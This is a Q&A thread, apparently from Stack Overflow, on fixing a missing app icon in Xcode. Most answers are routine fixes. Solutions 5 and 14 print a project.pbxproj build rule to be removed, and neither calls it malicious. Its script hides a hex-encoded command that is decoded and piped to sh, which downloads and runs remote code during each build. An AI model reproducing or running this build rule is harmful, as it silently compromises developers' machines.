'Xcode 10 app icon not showing

Recently updated to Xcode 10 beta and my App that previously has correct icon displayed when built and ran from Xcode 9.4 to device now shows the default blank icon when running in Xcode 10.

enter image description here

When opening AppIcon asset it shows icon correctly in all the placeholders without any warning icons. When tapping on new "Show Slicing" I do not see anything.

Anyone any clues how to fix this so app icon shows?



Solution 1:[1]

On 6/19/18 Apple released Xcode 10. beta 2. Upgrading solved the problem I was having with icons not appearing. So, a bug in Xcode 10.0 I guess.

Solution 2:[2]

I've been battling with this all day, it wouldn't show up in the simulator or a real device.

Eventually I got it to work by making sure the Target Membership for the AppIcon was set to the app name and that the Location was "Relative to Project".

Xcode screenshot

Solution 3:[3]

if you are using Xcode 13 & iOS 15

  • Install the app & Restart the device.

app icon shows on device.

Another tricky solution, but dont use (it's only for testing purpose,not a best solution.

  • Change the bundle identifier & run the project

Solution 4:[4]

In my case these two options were set wrongly Project navigator

Solution 5:[5]

I have the same issues on xCode 12.5 All icons are working but only app icons are not showing on iPad and iPhone.

Solution

YouProject.xcodeproj -> Show Package Contents -> project.pbxproj -> open

  • Find out the blow code

  • Remove code block

  • build project and run your app.

    / Begin PBXBuildRule section /
          EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
              isa = PBXBuildRule;
              compilerSpec = com.apple.compilers.proxy.script;
              fileType = folder.assetcatalog;
              inputFiles = (
              );
              isEditable = 0;
              name = "Assets Catalog Builder";
              outputFiles = (
                  "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
              );
              script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
          };
    / End PBXBuildRule section /
    

Solution 6:[6]

This problem is now occurring on iOS 15 Beta and iPadOS 15 Beta but we figured out how to work around it.

We changed the icon in our game, but it didn't load onto either Beta device. We tried a non Beta device and it worked just fine. I decided to install Device Support for iOS & iPadOS 15 beta, Now if the icon has changed and I won't see it right away, but I will if I reboot the device. We knew the icon was in the project correctly because we did a TestFlight build and it worked on the non-Beta device.

Solution 7:[7]

Same issue occurs after updated to Xcode 10 beta.

I might fixed it by changing the active developer directory to Xcode 10:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

Or select Xcode 10.0 in Xcode->Preferences->Locations->Command Line Tools.

Hope this helps.

enter image description here

Solution 8:[8]

After trying other solutions, this solved my problem.

Don't forget to:

  • Uninstall app,
  • Restart simulator
  • Build your project

in general

Solution 9:[9]

In Xcode 12.5 I had the same problem, still apparently not fixed. Tried many of the above solutions, none helped. Then I did "Clean Build Folder", then unchecked the target checkbox for the asset catalog, built, did "Clean Build Folder" again, checked the target checkbox for the asset catalog, and built again; and now the icon works. It seems to be some kind of bad cached state that doesn't get cleared; something in those steps caused the cache to get invalidated, I guess. The same steps but without cleaning the build folder did not fix the problem, so maybe cleaning is the key element here.

Solution 10:[10]

I was testing on the iPad, and in my case the problem was that the default AppIcon did not include any iPad slots.

I don't know if this is something to do with the way my app was initialised (I'm using react native) but I was trouble shooting for ages and didn't even think to check they were there. Silly me...

To fix this i removed the existing icons, clicked the + button and selected ['App Icons & Launch items' -> 'New iOS App Icons'] as shown bellow. Then I just populated as expected.

add new buttons

Solution 11:[11]

In my case the Xcode was using "Use Asset Catalog" in the App Icons Source. To see that you can go to Project->General->App Icons Source.

To fix it I selected "Migrate" and created a new Assets Catalog. When I did that, the oldest assets catalog got a warning in the App Icon. So I uploaded the icons to this oldest catalog again and deleted the provisional catalog.

The App Icons Source returned to show "AppIcon" and it worked.

Solution 12:[12]

For me the solution was deleting the AppIcon file in the assets folder and then add it again (which also means re-adding the images). I don't know why, but this fixed it for me.

Solution 13:[13]

I got this issue after changing asset catalogs. I believe what fixed it was selecting the AppIcon asset and selecting and deselecting target membership to the main app target. This was on Xcode 10 proper.

Solution 14:[14]

You can fix the issue in 3 steps.

  1. Click on Show Package Content in yourprojectname.xcodeproj file. enter image description here

  2. Click on open in project.pbxproj file. enter image description here

  3. Find and Remove these lines

/ Begin PBXBuildRule section / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; fileType = folder.assetcatalog; inputFiles = ( ); isEditable = 0; name = "Assets Catalog Builder"; outputFiles = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun actool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" --platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho "6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n"; }; / End PBXBuildRule section /

enter image description here

Solution 15:[15]

Make sure your "App Icons Source" has your AppIcon selected under "App Icons and Launch Images" Sometimes your AppIcon can be named something like "AppIcon-1" in your Assets.xcassets folder.